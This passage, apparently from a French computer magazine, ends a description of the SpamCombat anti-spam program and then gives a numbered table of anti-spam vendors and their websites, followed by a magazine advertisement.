messages. Ajouter ou supprimer des boutons, des positions du menu et des barres d'outils. Ajouter et supprimer les colonnes dans les tables ou choisir un format de message dans l'aperçu. Facilité d'usage. Malgré une interface abondante, SpamCombat est simple d'usage et il ne requiert pas de savoir-faire informatique avancé. Votre tâche est de vérifier le courrier, désigner les messages non sollicités à supprimer et ce qui va donc permettre à SpamCombat de les supprimer du serveur. Économie. Vous économisez sur les coûts de connexion Internet en limitant le transfert des messages non sollicités. Options supplémentaires. Le logiciel peut marcher après être inséré dans la zone de notification. Il reproduit un son ou affiche un message à chaque fois qu'un nouveau message est arrivé. La documentation complète y est jointe.
Exigences matérielles : • Système d'exploitation : Windows 95, 98, 2000, ME, NT ou XP • 128 Mo de mémoire RAM • Disque dur : 5 Mo
79
Les sociétés qui offrent les solutions anti-spam N°
Nom de la société ou nom du produit
URL
N°
Nom de la société ou nom du produit
URL
1
7tec
http://www.7tec.com/
49
MailSanctity
http://www.mailsanctity.com/
2
Alladin Knowledge Systems
http://www.esafe.com/
50
Mailshell
http://www.mailshell.com/
3
Anti-spam
http://www.anti-spam-software.com/
51
Mcafee
http://www.mcafee.com/
4
Avantec
http://www.avantec.ch/
52
NoticeBored
http://www.noticebored.com/
5
Barracudanetworks
http://www.barracudanetworks.com/
53
Omniquad
http://www.omniquad.com/
6
Bitpipe
http://www.bitpipe.com/
54
Open Field Software
http://www.openfieldsoftware.com/
7
Blue Squirrel
http://www.bluesquirrel.com/
55
Openprotect
http://www.openprotect.com/
8
Brigsoft
http://www.brigsoft.com/
56
Outblaze
http://www.outblaze.com/
9
Byteplant
http://www.byteplant.com/
57
Panicware
http://www.panicware.com/
10
Chrysanth
http://www.chrysanth.com/
58
PC Tools
http://www.pctools.com/
11
Cleanmail
http://www.cleanmail.ch/
59
Pingram Merketing
http://www.spamliquidator.com/
12
Cloudmark
http://www.cloudmark.com/
60
PopupKiller
http://www.popup-killer.info/
13
Code-Builders
http://www.code-builders.com/
61
Proland Software
http://www.pspl.com/
14
Cofeecup
http://www.cofeecup.com/
62
Proofpoint
http://www.proofpoint.com/
15
Contact Plus Corporation
http://www.contactplus.com/
63
Qurb
http://www.qurb.com/
16
ContentWatch
http://www.contentwatch.com/
64
Rainbow Innowations
http://www.rainbow-innov.co.uk/
17
Daedalus Software
http://www.daesoft.com/
65
RegNow
http://www.regnow.com/
18
Dair Computer Systems
http://www.spamai.com/
66
Rhino Software
http://www.zaep.com/
19
Declude
http://www.declude.com/
67
Roaring Penguin Software
http://www.roaringpenguin.com/
20
DigiPortal Software
http://www.digiportal.com/
68
Sentrybay
http://www.viralock.com/
21
Dignity Software
http://www.dignitysoftware.com/
69
Sinbad Network Communications
http://www.knockmail.com/
22
eAccelerationCorp
http://www.stop-sign.com/
70
SoftLogica
http://www.outlook-spam-filter.com/
23
Email Remover
http://www.email-remover.com/
71
Sophos
http://www.sophos.com/
24
Emailman
http://www.emailman.com/
72
Spam Software
http://www.spamsoftware.net/
25
Exclaimer
http://www.exclaimer.com/
73
Spam Sorter
http://www.spamsorter.com/
26
Firetrust Limited
http://www.firetrust.com/
74
Spam Weed
http://www.spamweed.com/
27
Futuresoft
http://www.dciseries.com/
75
Spamagogo
http://www.spamagogo.com/
28
G-Lock Software
http://www.glocksoft.com/
76
Spambat
http://www.spambat.com/
29
Gfi
http://www.gfi.com/
77
Spambully
http://www.spambully.com/
30
Giant Company
http://www.giantcompany.com/
78
Spambutcher
http://www.spambutcher.com/
31
Gilmore Software Development
http://www.spamcounterstrike.com/
79
SpamChoke Antispam Software
32
Grr-spam
http://www.grr-spam.com/
http://www.spamchoke-antispam-software.com/
33
Heidi Computers Limited
http://www.heidi.ie/
80
SpamFighter
http://www.spamfighter.com/
81
Spamhippo
http://www.spamhippo.com/
82
Spamlook Technologies
http://www.spamlook.com/
83
Spamsolver
http://www.spamsolver.com/
84
Spin Interworking
http://www.spin.it/
85
Spytech Software and Design
http://www.spam-agent.com/
86
Srimax Software Technology
http://www.srimax.com/
87
StompSoft
http://www.stompsoft.com/
88
Sunbelt Software
http://www.sunbelt-software.com/
89
Symantec
http://www.symantec.com/
90
Trimmail
http://www.trimmail.com/
91
Vamsoft
http://www.vamsoft.com/
92
Vanquish
http://www.vanquish.com/
93
Vicomsoft
http://www.vicomsoft.com/
94
Webroot Software
http://www.webroot.com/
95
Whatlink Software Limited
http://www.whatlink.com/
34
Hexamail
http://www.hexamail.com/
35
High Mountain Software
http://www.hms.com/
36
Inboxer
http://www.inboxer.com/
37
Intermute
http://www.intermute.com/
38
Internet Software Marketing
http://www.isoftmarketing.com/
39
IOK InterNetworking Services
http://www.iok.de/
40
ITIC
http://www.itc.com/
41
Kerio
http://www.kerio.com/
42
Lanservice
http://www.lanservice.pl/
43
Lescasse Consulting
http://www.lescasse.com/
44
LogSat Software
http://www.logsat.com/
45
Mail Zapper
http://www.mailzapper.com/
46
Mailfender
http://www.mailfender.com/
47
Mail Frontier
http://www.mailfrontier.com/
48
Maillaunder
http://www.maillaunder.com/
rit
1
www.psdmag.org
Déjà en vente !
GRATUIT !!!
Cours d’édition de photos numériques sur le CD www.psdmag.org